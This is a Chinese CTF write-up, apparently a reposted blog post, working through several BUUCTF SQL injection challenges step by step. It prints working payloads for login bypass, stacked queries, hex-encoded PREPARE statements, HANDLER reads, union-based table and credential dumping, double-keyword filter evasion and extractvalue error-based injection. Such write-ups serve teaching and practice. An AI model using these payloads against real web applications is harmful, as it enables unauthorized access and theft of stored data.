CTF-SQL注入

这篇具有很好参考价值的文章主要介绍了CTF-SQL注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

BUUCTF-[极客大挑战 2019]EasySQL

BUUCTF-[强网杯 2019]随便注

方法一

方法二 

BUUCTF-Blacklist

BUUCTF-[SUCTF 2019]EasySQL

BUUCTF-[极客大挑战 2019]LoveSQL

 BUUCTF-[极客大挑战 2019]BabySQL

 BUUCTF-[极客大挑战 2019]HardSQL

BUUCTF-[GXYCTF2019]BabySQli 


总结做到的几个CTF中的sql注入的题。下面的题目逐渐由简单到困难,逐步递增。感谢BUUCTF供题。

BUUCTF-[极客大挑战 2019]EasySQL

拿到题目是下面的界面,先尝试了弱口令。没成功。

CTF-SQL注入

尝试万能密码。payload:admin' or 1=1# 密码随便输入,即可实现了登录。

CTF-SQL注入

BUUCTF-[强网杯 2019]随便注

CTF-SQL注入

CTF-SQL注入 这里用到的方法是堆叠注入。自己理解的堆叠注入的原理就是,如果在开启多语句的执行的情况下,可以使用拼接的方法,来实现多条语句的执行。例如1;show databases;那么这就是有两条语句组成的sql语句,会分别执行语句1和语句2.

这里判断出是字符型注入,并且有两个字段。

CTF-SQL注入之后就来判断回显点。payload为-1' union select 1,2#但是发现有正则过滤的:

CTF-SQL注入

 这里就是用了堆叠注入。1';show databases;#

CTF-SQL注入

查看当前数据库中的表名:show tables;#

CTF-SQL注入

发现存在两个表,先来看一下表名为“1919810931114514”的表中存在的列,show columns from `1919810931114514`,这里要注意,当表名为数字的时候,在引用的时候要加上反引号。

CTF-SQL注入

之后就可以去查询flag中的内容,自己学会了两种方法,对于将两个表名重命名的方法,有点点没搞清楚(懂了,但没完全懂)。

方法一

由于过滤了select等关键字,所以可以使用select * from `1919810931114514`;将该条语句进行十六进制编码。使用prepare关键字来进行相应的预处理,从而实现查询。

payload:

1';set @sql = 0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE hacker from @sql;EXecute hacker;#

PREPARE...from...是预处理语句,进行编码转化。

execute是用来执行由prepare创建的SQL语句。

set是对一个变量进行赋值。

CTF-SQL注入

方法二 

使用handler获取内容。

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

CTF-SQL注入

接下来的blacklist就是使用handler这种方法来完成的。 

BUUCTF-Blacklist

CTF-SQL注入

这里看到和上面的题很类似,就采用了堆叠注入。1';show tables;#

CTF-SQL注入

 然后使用handler。payload为1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

CTF-SQL注入

BUUCTF-[SUCTF 2019]EasySQL

感觉这个题和上面的堆叠注入很相似,尝试堆叠注入:

CTF-SQL注入

这里尝试的payload为1;show databases;#居然报错了,然后紧接着尝试了1;show tables;#

CTF-SQL注入

这里尝试了好多方法都不行。比如上面的handler方法、以及使用set、prepare...from...等方法都回显nonono。束手无策了,看了大佬的wp。

输入1,回显:

Array( [0] =>  1)

输入其他的字符或者0,没有回显。

输入select、handler等关键字回显nonono

猜测这里的查询语法是

select $_GET['query'] || flag from Flag

#||操作符:如果前面为真,则后面不执行,所以我们在传入1的时候,语句就变成了select 1 from Flag;

大佬采用的方法为操作符重置的方法:set sql_mode=PIPES_AS_CONCAT;

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

CTF-SQL注入

BUUCTF-[极客大挑战 2019]LoveSQL

这里前面的判断注入就不进行判断了,我直接来判断回显点。

CTF-SQL注入

 这里判断出2,3处可以回显。CTF-SQL注入

加下来就是判断处数据库。-1' union select 1,database(),3#

CTF-SQL注入

 开始查表->-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#

CTF-SQL注入

 查表中的列名:-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#

 CTF-SQL注入

接下来就是查id,username,password等具体的内容:

 -1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3#

CTF-SQL注入

 BUUCTF-[极客大挑战 2019]BabySQL

CTF-SQL注入

看来就是升级版咯(肯定是做了过滤吧)

同样还是先使用万能密码,admin' or 1=1#,password随便输入了。发现了报错,错误提示是1=1#右边 那就是or被过滤了,尝试双写一下。

CTF-SQL注入 成功登陆进来了。紧接着就是和之前一样,先来判断字段数,之后就是判断回显点。 

CTF-SQL注入 判断字段数,oorrder bbyy 4#报错,3的时候正常回显。(by关键字被过滤)

CTF-SQL注入

 构造payload:-admin' union select 1,2,3#但是发现了union 和 select同样也是被过滤了。还是经过了双写绕过。payload为-admin' ununionion seselectlect 1,2,3#

CTF-SQL注入

 下面就是查数据库名:-admin' ununionion seselectlect 1,database(),3#

CTF-SQL注入

查询数据库中的表: -admin' ununionion seselectlect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3#  这里经过测试from和where也都被过滤了。

CTF-SQL注入

查列名: -admin' ununionion seselectlect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3# 

CTF-SQL注入

继续查id,password,username等信息。

-admin' ununionion seselectlect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3# 

CTF-SQL注入

 BUUCTF-[极客大挑战 2019]HardSQL

又是加强版了.

CTF-SQL注入

哎这里输入什么都被抓住。看了一下大佬的wp,使用报错注入。其中过滤了空格和=号,可以使用()代替空格,like代替=号,用’^'来连接函数,形成异或。

故这里构造的payload为:admin'^extractvalue(1,concat(0x7e,database()))#

CTF-SQL注入

随后就是查表名和列名。

查询表名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

查询列名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

CTF-SQL注入

CTF-SQL注入接下来就是查询具体的信息

admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))#

CTF-SQL注入

 哦吼,需要改一下了查询left的20个字符。使用到了right和left。

admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))))#
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#

分别爆左右:

CTF-SQL注入

CTF-SQL注入 

BUUCTF-[GXYCTF2019]BabySQli 

进入登录界面,尝试万能密码

CTF-SQL注入

发现注释中的编码,尝试解码,base32解码得到了base64编码,在经过base64解码得到如下的代码:

select * from user where username = '$name'

这里发现如果账号不是admin的话,回显为wrong user!

CTF-SQL注入

 账号为admin的时候,密码不对的情况,回显为wrong pass!

CTF-SQL注入

 判断下字段数,结果发现了过滤。尝试下大小写。CTF-SQL注入

CTF-SQL注入

 当为4的时候,报错了。

CTF-SQL注入

做到这里就不会了,看了大佬的wp,说在联合查询不存在的数据的时候,联合查询就会构造一个虚拟的数据。这里的字段1应该是id,后面才是账号和密码。所以构造一个虚拟的数据。

payload为:

name=1' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456

CTF-SQL注入

这个题还是要继续好好吸收一下原理。(懂但是没有完全懂)文章来源地址https://www.toymoban.com/news/detail-451036.html

到了这里,关于CTF-SQL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • BUUCTF [极客大挑战 2019]Knife1

     连接蚁剑,连接密码为Syc 在 / 文件夹下找到flag文件 打开得到flag

    2024年02月09日
    浏览(27)
  • 注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

    为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的 初学者学习 。本人之前 没有做过CTF ,也 没有学过 SQL注入, 零基础 ,所以 大佬可以先行离开 。 我的汇报内容是 SQL注入 XPath注入 HTML注入 另一篇文章讲HTML注入,例子给的比较简单,

    2024年02月16日
    浏览(36)
  • BUUCTF-sql注入联合查询的创建虚拟表-词频-steghide的使用

    第七周第三次 目录 WEB [GXYCTF2019]BabySQli [GXYCTF2019]BabyUpload Crypto 世上无难事 old-fashion ​Misc 面具下的flag 九连环 这是一道很新的题目 我们打开环境 发现登入注册界面 先看看源码有没有提示 发现有一个 php文件 进入看看 发现加密 先base32 再64  发现就是很简单的字符型注入 开始

    2023年04月13日
    浏览(42)
  • CTF Web SQL注入专项整理(持续更新中)

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据

    2024年01月20日
    浏览(29)
  • 网络攻防期末大作业选题:防sql注入的登录网站【网络攻防CTF】(保姆级图文)

    欢迎关注 『网络攻防CTF』 系列,持续更新中 欢迎关注 『网络攻防CTF』 系列,持续更新中 数据库sql搭建 另存为 sql_test.sql 文件导入即可 项目结构如下: 为了美观引用了layui框架(也可以没有,只是样式) Login.html效果图如下: 输入用户名密码测试登陆。 html代码 layui文件可

    2024年02月07日
    浏览(39)
  • 【web-ctf】ctf_BUUCTF_web(2)

    1. [RCTF2015]EasySQL 考点: 二次注入 报错注入 正则表达式查找 reverse函数 学到的知识点: 二次注入原理 二次注入的标志: (1)可以自行注册用户 (这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等)) (2)可以使用修改密码等 (二

    2024年02月06日
    浏览(34)
  • [极客大挑战 2019]LoveSQL 1

    题目环境: 判断注入类型 是否为数字型注入 admin 1 回显结果 否 是否为字符型注入 admin 1\\\' 回显结果 是 判断注入手法类型 使用堆叠注入 采用密码参数进行注入 爆数据库 1\\\'; show database();# 回显结果 这里猜测注入语句某字段被过滤,或者是’;\\\'被过滤导致不能堆叠注入 爆字段数

    2024年02月05日
    浏览(24)
  • 【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(29)
  • BUUFCTF—[极客大挑战 2019]Upload 1

    考点: 文件上传黑名单绕过 内容绕过 目录浏览 文件上传 1. 测试是黑名单还是白名单 上传图片1.png成功,上传1.php失败,1.pngs成功,说明是黑名单过滤。 所以要寻找黑名单外的php文件:php, php3, php5, php7, phtml都能作为php文件解析 ps:有些服务器默认不解析php3 phhtml等,如phps

    2024年02月04日
    浏览(30)
  • [极客大挑战 2019]FinalSQL(bypass盲注)

    这里是数字型注入,选择一个序号 这里过滤了很多东西 使用fuzzSQL字典,这是我自己定义编写的一个fuzz字典,内容较少 使用bp加载字典进行测试 看出被拦截的相应大小为890,那么之外的就是没有被拦截的 空格被过滤了,这里使用 ^ 来计算是否为数字注入 通过测试可以

    2024年02月09日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包